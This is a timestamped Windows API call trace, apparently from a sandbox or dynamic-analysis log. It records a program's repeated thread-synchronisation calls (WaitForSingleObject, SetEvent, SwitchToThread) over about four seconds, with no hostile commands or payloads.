	[0070.127] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.133] SetEvent (hEvent=0x78) returned 1
	[0070.133] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.157] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.160] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.181] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.253] SetEvent (hEvent=0x6c) returned 1
	[0070.259] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.260] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.338] SetEvent (hEvent=0x6c) returned 1
	[0070.338] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.340] SetEvent (hEvent=0x6c) returned 1
	[0070.340] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.341] SetEvent (hEvent=0x6c) returned 1
	[0070.341] SwitchToThread () returned 1
	[0070.341] SetEvent (hEvent=0x6c) returned 1
	[0070.341] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.341] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.385] SetEvent (hEvent=0x6c) returned 1
	[0070.385] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.387] SetEvent (hEvent=0x78) returned 1
	[0070.387] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.415] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.419] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.462] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.471] SetEvent (hEvent=0x6c) returned 1
	[0070.471] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.471] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.497] SetEvent (hEvent=0x6c) returned 1
	[0070.497] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.499] SetEvent (hEvent=0x6c) returned 1
	[0070.499] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.500] SetEvent (hEvent=0x6c) returned 1
	[0070.500] SwitchToThread () returned 1
	[0070.500] SetEvent (hEvent=0x6c) returned 1
	[0070.500] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.500] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.542] SetEvent (hEvent=0x6c) returned 1
	[0070.543] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.544] SetEvent (hEvent=0x78) returned 1
	[0070.544] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.568] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.571] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.598] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.614] SetEvent (hEvent=0x6c) returned 1
	[0070.614] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.614] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.639] SetEvent (hEvent=0x6c) returned 1
	[0070.639] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.641] SetEvent (hEvent=0x6c) returned 1
	[0070.641] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.642] SetEvent (hEvent=0x6c) returned 1
	[0070.642] SwitchToThread () returned 1
	[0070.642] SetEvent (hEvent=0x6c) returned 1
	[0070.642] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.642] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.696] SetEvent (hEvent=0x6c) returned 1
	[0070.696] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.698] SetEvent (hEvent=0x78) returned 1
	[0070.698] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.720] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.723] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.758] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.766] SetEvent (hEvent=0x6c) returned 1
	[0070.766] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.766] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.792] SetEvent (hEvent=0x6c) returned 1
	[0070.792] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.793] SetEvent (hEvent=0x6c) returned 1
	[0070.793] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.794] SetEvent (hEvent=0x6c) returned 1
	[0070.794] SwitchToThread () returned 1
	[0070.794] SetEvent (hEvent=0x6c) returned 1
	[0070.794] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.794] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.852] SetEvent (hEvent=0x6c) returned 1
	[0070.852] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.854] SetEvent (hEvent=0x78) returned 1
	[0070.854] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.882] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.885] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.925] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.935] SetEvent (hEvent=0x6c) returned 1
	[0070.935] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0070.935] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.286] SetEvent (hEvent=0x6c) returned 1
	[0071.286] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.288] SetEvent (hEvent=0x6c) returned 1
	[0071.288] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.289] SetEvent (hEvent=0x6c) returned 1
	[0071.289] SwitchToThread () returned 1
	[0071.289] SetEvent (hEvent=0x6c) returned 1
	[0071.289] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.289] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.347] SetEvent (hEvent=0x6c) returned 1
	[0071.347] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.352] SetEvent (hEvent=0x78) returned 1
	[0071.352] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.376] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.380] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.415] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.427] SetEvent (hEvent=0x6c) returned 1
	[0071.427] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.428] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.457] SetEvent (hEvent=0x6c) returned 1
	[0071.457] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.460] SetEvent (hEvent=0x6c) returned 1
	[0071.460] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.461] SetEvent (hEvent=0x6c) returned 1
	[0071.461] SwitchToThread () returned 1
	[0071.461] SetEvent (hEvent=0x6c) returned 1
	[0071.461] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.461] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.511] SetEvent (hEvent=0x6c) returned 1
	[0071.511] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.513] SetEvent (hEvent=0x78) returned 1
	[0071.513] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.538] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.541] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.576] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.583] SetEvent (hEvent=0x78) returned 1
	[0071.583] SetEvent (hEvent=0x80) returned 1
	[0071.583] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0071.585] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.585] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0071.586] SetEvent (hEvent=0x78) returned 1
	[0071.586] SetEvent (hEvent=0x80) returned 1
	[0071.586] SetEvent (hEvent=0x8c) returned 1
	[0071.586] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.586] SetEvent (hEvent=0xa8) returned 1
	[0071.586] SetEvent (hEvent=0x8c) returned 1
	[0071.586] SetEvent (hEvent=0x6c) returned 1
	[0071.587] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.604] SetEvent (hEvent=0x6c) returned 1
	[0071.604] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.609] SetEvent (hEvent=0x6c) returned 1
	[0071.609] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.610] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.613] SetEvent (hEvent=0x6c) returned 1
	[0071.613] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.614] SetEvent (hEvent=0x8c) returned 1
	[0071.614] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.671] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.689] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.696] SetEvent (hEvent=0x6c) returned 1
	[0071.696] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.696] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.700] SetEvent (hEvent=0x6c) returned 1
	[0071.700] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.701] SetEvent (hEvent=0x80) returned 1
	[0071.701] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.742] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.762] SetEvent (hEvent=0x6c) returned 1
	[0071.762] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.767] SetEvent (hEvent=0x6c) returned 1
	[0071.767] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.767] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.770] SetEvent (hEvent=0x6c) returned 1
	[0071.770] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.772] SetEvent (hEvent=0x8c) returned 1
	[0071.772] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.815] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.835] SetEvent (hEvent=0x6c) returned 1
	[0071.835] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.840] SetEvent (hEvent=0x6c) returned 1
	[0071.840] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.840] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.843] SetEvent (hEvent=0x6c) returned 1
	[0071.843] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.844] SetEvent (hEvent=0x80) returned 1
	[0071.845] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.894] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.907] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.920] SetEvent (hEvent=0x6c) returned 1
	[0071.920] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.920] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.924] SetEvent (hEvent=0x6c) returned 1
	[0071.924] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.928] SetEvent (hEvent=0x8c) returned 1
	[0071.928] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0071.980] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.000] SetEvent (hEvent=0x6c) returned 1
	[0072.000] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.005] SetEvent (hEvent=0x6c) returned 1
	[0072.005] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.005] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.008] SetEvent (hEvent=0x6c) returned 1
	[0072.008] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.009] SetEvent (hEvent=0x80) returned 1
	[0072.009] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.061] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.081] SetEvent (hEvent=0x6c) returned 1
	[0072.081] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.086] SetEvent (hEvent=0x6c) returned 1
	[0072.086] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.086] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.089] SetEvent (hEvent=0x6c) returned 1
	[0072.089] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.091] SetEvent (hEvent=0x8c) returned 1
	[0072.091] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.135] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.155] SetEvent (hEvent=0x6c) returned 1
	[0072.155] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.160] SetEvent (hEvent=0x6c) returned 1
	[0072.160] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.160] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.164] SetEvent (hEvent=0x6c) returned 1
	[0072.164] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.165] SetEvent (hEvent=0x80) returned 1
	[0072.165] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.219] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.242] SetEvent (hEvent=0x6c) returned 1
	[0072.242] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.247] SetEvent (hEvent=0x6c) returned 1
	[0072.247] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.247] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.251] SetEvent (hEvent=0x6c) returned 1
	[0072.251] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.252] SetEvent (hEvent=0x8c) returned 1
	[0072.252] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.342] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.363] SetEvent (hEvent=0x6c) returned 1
	[0072.363] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.367] SetEvent (hEvent=0x6c) returned 1
	[0072.368] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.368] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.371] SetEvent (hEvent=0x6c) returned 1
	[0072.371] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.372] SetEvent (hEvent=0x80) returned 1
	[0072.372] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.420] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.441] SetEvent (hEvent=0x6c) returned 1
	[0072.441] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.446] SetEvent (hEvent=0x6c) returned 1
	[0072.446] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.446] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.449] SetEvent (hEvent=0x6c) returned 1
	[0072.449] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.450] SetEvent (hEvent=0x8c) returned 1
	[0072.450] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.753] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.797] SetEvent (hEvent=0x6c) returned 1
	[0072.797] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.802] SetEvent (hEvent=0x6c) returned 1
	[0072.802] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.802] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.806] SetEvent (hEvent=0x6c) returned 1
	[0072.806] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.807] SetEvent (hEvent=0x80) returned 1
	[0072.807] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.850] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.871] SetEvent (hEvent=0x6c) returned 1
	[0072.871] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.875] SetEvent (hEvent=0x6c) returned 1
	[0072.875] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.876] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.879] SetEvent (hEvent=0x6c) returned 1
	[0072.879] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.880] SetEvent (hEvent=0x8c) returned 1
	[0072.880] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.942] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.965] SetEvent (hEvent=0x6c) returned 1
	[0072.965] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.970] SetEvent (hEvent=0x6c) returned 1
	[0072.970] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.970] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.973] SetEvent (hEvent=0x6c) returned 1
	[0072.973] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0072.974] SetEvent (hEvent=0x80) returned 1
	[0072.974] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.018] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.019] SetEvent (hEvent=0x80) returned 1
	[0073.019] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.019] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.251] SetEvent (hEvent=0x78) returned 1
	[0073.251] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.252] SetEvent (hEvent=0x78) returned 1
	[0073.252] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.259] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.279] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.327] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.336] SetEvent (hEvent=0x6c) returned 1
	[0073.337] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.337] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.363] SetEvent (hEvent=0x6c) returned 1
	[0073.363] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.365] SetEvent (hEvent=0x6c) returned 1
	[0073.365] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.365] SetEvent (hEvent=0x6c) returned 1
	[0073.365] SwitchToThread () returned 1
	[0073.366] SetEvent (hEvent=0x6c) returned 1
	[0073.366] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.366] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.410] SetEvent (hEvent=0x6c) returned 1
	[0073.410] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.411] SetEvent (hEvent=0x78) returned 1
	[0073.411] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.435] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.438] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.466] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.486] SetEvent (hEvent=0x6c) returned 1
	[0073.486] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.486] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.512] SetEvent (hEvent=0x6c) returned 1
	[0073.512] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.514] SetEvent (hEvent=0x6c) returned 1
	[0073.514] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.514] SetEvent (hEvent=0x6c) returned 1
	[0073.514] SwitchToThread () returned 1
	[0073.514] SetEvent (hEvent=0x6c) returned 1
	[0073.514] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.515] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.579] SetEvent (hEvent=0x8c) returned 1
	[0073.579] SetEvent (hEvent=0x78) returned 1
	[0073.579] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.580] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.601] SetEvent (hEvent=0x6c) returned 1
	[0073.601] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.618] SetEvent (hEvent=0x6c) returned 1
	[0073.618] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.620] SetEvent (hEvent=0x6c) returned 1
	[0073.620] SwitchToThread () returned 1
	[0073.620] SetEvent (hEvent=0x6c) returned 1
	[0073.620] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.621] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.677] SetEvent (hEvent=0x6c) returned 1
	[0073.677] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.678] SetEvent (hEvent=0x8c) returned 1
	[0073.678] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.701] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.704] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.740] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.750] SetEvent (hEvent=0x6c) returned 1
	[0073.750] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.750] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.775] SetEvent (hEvent=0x6c) returned 1
	[0073.775] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.777] SetEvent (hEvent=0x6c) returned 1
	[0073.777] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.777] SetEvent (hEvent=0x6c) returned 1
	[0073.777] SwitchToThread () returned 1
	[0073.777] SetEvent (hEvent=0x6c) returned 1
	[0073.777] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.778] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.820] SetEvent (hEvent=0x6c) returned 1
	[0073.820] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.822] SetEvent (hEvent=0x8c) returned 1
	[0073.822] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.845] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.848] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.884] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.896] SetEvent (hEvent=0x6c) returned 1
	[0073.896] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.897] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.922] SetEvent (hEvent=0x6c) returned 1
	[0073.922] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.924] SetEvent (hEvent=0x6c) returned 1
	[0073.924] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.925] SetEvent (hEvent=0x6c) returned 1
	[0073.925] SwitchToThread () returned 1
	[0073.925] SetEvent (hEvent=0x6c) returned 1
	[0073.925] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0073.925] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.107] SetEvent (hEvent=0x6c) returned 1
	[0074.107] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.108] SetEvent (hEvent=0x8c) returned 1
	[0074.109] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.133] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.136] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
